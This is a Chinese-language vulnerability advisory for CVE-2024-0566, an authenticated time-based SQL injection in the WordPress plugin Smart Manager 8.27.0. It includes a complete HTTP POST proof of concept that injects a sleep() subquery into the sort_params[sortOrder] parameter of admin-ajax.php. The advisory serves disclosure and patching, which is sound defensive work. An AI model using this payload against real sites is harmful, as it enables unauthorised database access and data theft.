CVE-2024-0566 Smart Manager 8.27.0 - 认证后的SQL注入

漏洞标题: Smart Manager 8.27.0 - 认证后的SQL注入
日期: 2024-01-18
漏洞作者: Ivan Spiridonov - xbz0n
厂商主页: https://www.storeapps.org/
软件链接: https://www.storeapps.org/product/smart-manager/
版本: 8.27.0
测试环境: Ubuntu 22.04
CVE编号: CVE-2024-0566

SQL注入

该插件在使用参数之前未能正确清理和转义，导致SQL注入漏洞，可被管理员等高权限用户利用。

受影响组件

• 插件: Smart Manager
• 版本: 8.27.0
• 受影响参数: 'sort_params%5BsortOrder%5D', 'sort_params%5Bcolumn%5D'
• 受影响端点: /wp-admin/admin-ajax.php

描述

该漏洞位于管理员AJAX端点的排序参数'sort_params%5BsortOrder%5D'和'sort_params%5Bcolumn%5D'中。通过操纵这些参数，经过身份验证的攻击者可以注入SQL命令，导致基于时间的SQL注入漏洞。

概念验证

手动利用

POST /wp-admin/admin-ajax.php?action=sm_beta_include_file HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=smart-manager
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1117
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
cmd=get_data_model&active_module=product&security=37e8d818b7&is_public=1&sm_page=1&sm_limit=50&SM_IS_WOO30=true&sort_params%5Bcolumn%5D=postmeta%2Fmeta_key%3D_tax_status%2Fmeta_value%3D_tax_status&sort_params%5BsortOrder%5D=asc%2c(select*from(select(sleep(20)))a)&table_model%5Bposts%5D%5Bpkey%5D=ID&table_model%5Bposts%5D%5Bjoin_on%5D=&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_type%5D%5B%5D=product_variation&table_model%5Bposts%5D%5Bwhere%5D%5Bpost_status%5D=any&table_model%5Bpostmeta%5D%5Bpkey%5D=post_id&table_model%5Bpostmeta%5D%5Bjoin_on%5D=postmeta.post_ID+%3D+posts.ID&table_model%5Bterm_relationships%5D%5Bpkey%5D=object_id&table_model%5Bterm_relationships%5D%5Bjoin_on%5D=term_relationships.object_id+%3D+posts.ID&table_model%5Bterm_taxonomy%5D%5Bpkey%5D=term_taxonomy_id&table_model%5Bterm_taxonomy%5D%5Bjoin_on%5D=term_taxonomy.term_taxonomy_id+%3D+term_relationships.term_taxonomy_id&table_model%5Bterms%5D%5Bpkey%5D=term_id&table_model%5Bterms%5D%5Bjoin_on%5D=terms.term_id+%3D+term_taxonomy.term_id&search_text=&advanced_search_query=%5B%5D&is_view=0&isTasks=0&is_taxonomy=0

如果服务器响应延迟约20秒，则表明基于时间的SQL注入成功利用，确认漏洞存在。

建议

强烈建议Smart Manager v8.27.0的用户限制对受影响端点的访问，并将插件更新到最新版本。